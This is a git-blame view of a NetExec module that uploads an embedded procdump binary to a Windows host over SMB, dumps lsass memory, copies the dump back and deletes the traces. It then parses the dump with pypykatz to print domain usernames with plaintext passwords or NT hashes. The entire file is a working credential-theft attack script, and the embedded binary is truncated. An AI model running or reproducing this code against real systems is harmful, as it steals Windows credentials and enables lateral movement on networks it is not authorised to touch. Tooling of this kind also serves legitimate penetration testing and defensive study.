2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
# -*- coding: utf-8 -*-
|
2023-09-14 21:07:15 +00:00
|
|
|
# prdocdump module for nxc python3
|
2021-09-21 11:36:08 +00:00
|
|
|
# author: github.com/mpgn
|
|
|
|
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
|
|
|
|
# v0.4
|
|
|
|
|
2021-11-14 12:15:42 +00:00
|
|
|
import base64
|
2023-05-07 22:51:01 +00:00
|
|
|
import re
|
|
|
|
import sys
|
2023-09-18 19:00:39 +00:00
|
|
|
import pypykatz
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.bloodhound import add_user_bh
|
2023-05-07 22:51:01 +00:00
|
|
|
|
2023-04-07 17:12:56 +00:00
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-05-02 15:17:59 +00:00
|
|
|
name = "procdump"
|
2021-09-21 11:36:08 +00:00
|
|
|
description = "Get lsass dump using procdump64 and parse the result with pypykatz"
|
2023-05-02 15:17:59 +00:00
|
|
|
supported_protocols = ["smb"]
|
|
|
|
opsec_safe = True # not really
|
2021-09-21 11:36:08 +00:00
|
|
|
multiple_hosts = True
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-05-02 15:17:59 +00:00
|
|
|
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
|
|
|
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
|
|
|
|
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
|
|
|
|
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2021-09-21 11:36:08 +00:00
|
|
|
|
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
|
|
self.share = "C$"
|
|
|
|
self.tmp_share = self.tmp_dir.split(":")[1]
|
2023-05-02 15:17:59 +00:00
|
|
|
self.procdump_embeded = base64.b64decode(
|
2023-09-14 21:07:15 +00:00
|
|
|
"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
|
2023-05-02 15:17:59 +00:00
|
|
|
)
|
2021-09-21 11:36:08 +00:00
|
|
|
self.procdump = "procdump.exe"
|
2022-11-08 15:13:05 +00:00
|
|
|
self.procdump_path = "/tmp/"
|
2021-11-14 12:15:42 +00:00
|
|
|
self.dir_result = self.procdump_path
|
|
|
|
self.useembeded = True
|
2021-09-21 11:36:08 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "PROCDUMP_PATH" in module_options:
|
|
|
|
self.procdump_path = module_options["PROCDUMP_PATH"]
|
2021-11-14 12:15:42 +00:00
|
|
|
self.useembeded = False
|
2021-09-21 11:36:08 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "PROCDUMP_EXE_NAME" in module_options:
|
|
|
|
self.procdump = module_options["PROCDUMP_EXE_NAME"]
|
2021-11-14 12:15:42 +00:00
|
|
|
self.useembeded = False
|
2021-09-21 11:36:08 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "TMP_DIR" in module_options:
|
|
|
|
self.tmp_dir = module_options["TMP_DIR"]
|
2021-09-21 11:36:08 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "DIR_RESULT" in module_options:
|
|
|
|
self.dir_result = module_options["DIR_RESULT"]
|
2021-11-14 12:15:42 +00:00
|
|
|
|
2021-09-21 11:36:08 +00:00
|
|
|
def on_admin_login(self, context, connection):
|
2021-11-14 12:15:42 +00:00
|
|
|
if self.useembeded == True:
|
2023-05-02 15:17:59 +00:00
|
|
|
with open(self.procdump_path + self.procdump, "wb") as procdump:
|
2021-11-14 12:15:42 +00:00
|
|
|
procdump.write(self.procdump_embeded)
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
|
2023-05-02 15:17:59 +00:00
|
|
|
with open(self.procdump_path + self.procdump, "rb") as procdump:
|
2021-09-21 11:36:08 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
|
|
|
|
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
|
2021-09-21 11:36:08 +00:00
|
|
|
except Exception as e:
|
2023-05-07 22:51:01 +00:00
|
|
|
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2021-09-21 11:36:08 +00:00
|
|
|
# get pid lsass
|
|
|
|
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.display("Getting lsass PID {}".format(command))
|
2021-09-21 11:36:08 +00:00
|
|
|
p = connection.execute(command, True)
|
2023-05-02 15:17:59 +00:00
|
|
|
pid = p.split(",")[1][1:-1]
|
2023-05-08 18:39:36 +00:00
|
|
|
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.display("Executing command {}".format(command))
|
2021-09-21 11:36:08 +00:00
|
|
|
p = connection.execute(command, True)
|
|
|
|
context.log.debug(p)
|
|
|
|
dump = False
|
2023-05-02 15:17:59 +00:00
|
|
|
if "Dump 1 complete" in p:
|
|
|
|
context.log.success("Process lsass.exe was successfully dumped")
|
2021-09-21 11:36:08 +00:00
|
|
|
dump = True
|
|
|
|
else:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
|
|
|
|
2021-09-21 11:36:08 +00:00
|
|
|
if dump:
|
|
|
|
regex = r"([A-Za-z0-9-]*.dmp)"
|
|
|
|
matches = re.search(regex, str(p), re.MULTILINE)
|
2023-05-02 15:17:59 +00:00
|
|
|
machine_name = ""
|
2021-09-21 11:36:08 +00:00
|
|
|
if matches:
|
|
|
|
machine_name = matches.group()
|
|
|
|
else:
|
2023-04-06 00:09:07 +00:00
|
|
|
context.log.display("Error getting the lsass.dmp file name")
|
2021-09-21 11:36:08 +00:00
|
|
|
sys.exit(1)
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.display("Copy {} to host".format(machine_name))
|
2021-09-21 11:36:08 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
with open(self.dir_result + machine_name, "wb+") as dump_file:
|
2021-09-21 11:36:08 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
|
|
|
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
|
2021-09-21 11:36:08 +00:00
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Error while get file: {}".format(e))
|
2021-09-21 11:36:08 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("Deleted procdump file on the {} share".format(self.share))
|
2021-09-21 11:36:08 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2021-09-21 11:36:08 +00:00
|
|
|
try:
|
|
|
|
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
|
2021-09-21 11:36:08 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
|
2023-05-02 15:17:59 +00:00
|
|
|
|
|
|
|
with open(self.dir_result + machine_name, "rb") as dump:
|
2022-02-23 20:09:19 +00:00
|
|
|
try:
|
|
|
|
credentials = []
|
2021-11-20 21:37:14 +00:00
|
|
|
credz_bh = []
|
2023-03-12 07:25:10 +00:00
|
|
|
try:
|
|
|
|
pypy_parse = pypykatz.parse_minidump_external(dump)
|
|
|
|
except Exception as e:
|
|
|
|
pypy_parse = None
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail(f"Error parsing minidump: {e}")
|
|
|
|
|
|
|
|
ssps = [
|
|
|
|
"msv_creds",
|
|
|
|
"wdigest_creds",
|
|
|
|
"ssp_creds",
|
|
|
|
"livessp_creds",
|
|
|
|
"kerberos_creds",
|
|
|
|
"credman_creds",
|
|
|
|
"tspkg_creds",
|
|
|
|
]
|
2022-02-23 20:09:19 +00:00
|
|
|
for luid in pypy_parse.logon_sessions:
|
|
|
|
for ssp in ssps:
|
2023-05-08 18:39:36 +00:00
|
|
|
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
2022-02-23 20:09:19 +00:00
|
|
|
domain = getattr(cred, "domainname", None)
|
|
|
|
username = getattr(cred, "username", None)
|
|
|
|
password = getattr(cred, "password", None)
|
|
|
|
NThash = getattr(cred, "NThash", None)
|
|
|
|
if NThash is not None:
|
|
|
|
NThash = NThash.hex()
|
2023-05-08 18:39:36 +00:00
|
|
|
if username and (password or NThash) and "$" not in username:
|
2022-02-23 20:09:19 +00:00
|
|
|
print_pass = password if password else NThash
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
|
|
|
if "." not in domain and domain.upper() in connection.domain.upper():
|
2022-02-23 20:09:19 +00:00
|
|
|
domain = connection.domain
|
2023-05-02 15:17:59 +00:00
|
|
|
credz_bh.append(
|
|
|
|
{
|
|
|
|
"username": username.upper(),
|
|
|
|
"domain": domain.upper(),
|
|
|
|
}
|
|
|
|
)
|
2022-02-23 20:09:19 +00:00
|
|
|
if len(credz_bh) > 0:
|
|
|
|
add_user_bh(credz_bh, None, context.log, connection.config)
|
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Error openning dump file", str(e))
|